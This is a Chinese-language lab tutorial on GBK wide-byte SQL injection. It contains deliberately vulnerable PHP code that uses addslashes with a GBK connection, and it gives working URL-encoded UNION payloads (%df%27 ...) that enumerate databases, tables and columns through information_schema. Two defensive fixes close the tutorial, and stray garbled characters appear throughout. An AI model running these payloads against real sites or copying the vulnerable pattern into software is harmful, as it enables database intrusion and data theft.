寬字節(jié)注入是因?yàn)閿?shù)據(jù)庫使用了GBK編碼泌霍,不過現(xiàn)在大都使用unicode國際編碼,大多數(shù)網(wǎng)站都使用了utf-8的編碼
不過既然是sql注入的一部分教沾,也搭建環(huán)境? 做做實(shí)驗(yàn)
實(shí)驗(yàn)環(huán)境:
wamp集成包
實(shí)驗(yàn)說明:
創(chuàng)建使用GBK編碼的數(shù)據(jù)庫
實(shí)驗(yàn)步驟:
使用phpmyadmin進(jìn)行創(chuàng)建數(shù)據(jù)庫的時候蒲跨,如果不去選擇編碼格式,默認(rèn)會使用latin1_swedish_ci 格式
查了一下 授翻,和GBK類似或悲,那就這個吧。堪唐。巡语。
使用默認(rèn)編碼,創(chuàng)建數(shù)據(jù)庫后繼續(xù)創(chuàng)建表格
這里需要注意的是羔杨,使用latin1_swedish_ci 格式進(jìn)行創(chuàng)建表捌臊,插入數(shù)據(jù)時
當(dāng)插入漢字的時候,提示編碼問題
難怪現(xiàn)在的大多網(wǎng)站都使用utf-8編碼
修改字段的編碼格式?? 可插入漢字
繼續(xù)編寫php漏洞代碼
<?php
header("Content-type:text/html;charset=utf-8");
$id=@$_GET['id'];
if(isset($id)&&!empty($id)){
$id = addslashes($_GET['id']);//進(jìn)行轉(zhuǎn)義
$conn=mysql_connect('localhost','root','')? or? die? ("false");
mysql_select_db("tests",$conn);
mysql_query("set names 'gbk' ",$conn);//指明數(shù)據(jù)庫gbk處理兜材,不安全的編碼格式
$sql = "select * from test where id='".$id."'";
$result = mysql_query($sql, $conn);
while ($row=@mysql_fetch_array($result)){
echo "用戶名:".$row['name']."<hr/>";
//echo "密碼:".$row['password']."<nr/>";
}
mysql_close($conn);
print_r('執(zhí)行SQL語句:'.$sql);
}else{
echo? "id? 錯誤";
}
?>
進(jìn)行訪問 ? 注入 ? 測試
發(fā)現(xiàn)已經(jīng)被轉(zhuǎn)義了理澎,使用%df? ' 進(jìn)行注入
繼續(xù)注入?? %df%27 union select? 1,2,3?? #
注意URL編碼問題
以下為URL編碼:
%27---------單引號
%20----------空格
%23-----------#號
%5c------------/反斜杠
為什么可以注入成功?
修改一下?? header? 改為gbk
header("Content-type:text/html;charset=gbk");
再次查看
為什么反斜杠變成? 運(yùn)? 這個玩意啦逞力?
id=1'---------->id=1\'--------->id=1%5c%27
id=1%df'---------id=1%df%5c%27---------->id=1%DF5C%27-------->id=1運(yùn)'
其實(shí)就是利用gbk是多字節(jié)的編碼,兩個字節(jié)代表一個漢字
%df??? %5c?? 組合出了一個? 運(yùn) 字
因此? 可以注入
擴(kuò)展:
爆出所有的數(shù)據(jù)庫名
payload:
id=%df%27%20union%20select%201,schema_name,3%20from%20information_schema.schemata%20limit%206,5%20%23
爆出數(shù)據(jù)庫中的數(shù)據(jù)表
payload:
id=%df%27%20union%20select%201,table_name,3%20from%20information_schema.tables%20where%20table_schema=0x64767761%20limit%200,61%20%23
dvwa的十六進(jìn)制編碼為0x64767761
爆出指定數(shù)據(jù)庫的字段
payload:
id=%df%27%20union%20select%201,column_name,3%20from%20information_schema.columns%20where%20table_schema=0x64767761%20and%20table_name=0x61646D696E%20limit%200,61%20%23
注意使用十六進(jìn)制
table_schema=0x64767761(dvwa)? and? table_name=0x61646D696E(admin)
根據(jù)以上信息糠爬,可進(jìn)行mysql的跨庫查詢寇荧,查詢?nèi)我鈹?shù)據(jù)庫的任意信息
防御:
1.使用mysql_set_charset(utf8)指定字符集
2. 使用mysql_real_escape_string進(jìn)行轉(zhuǎn)義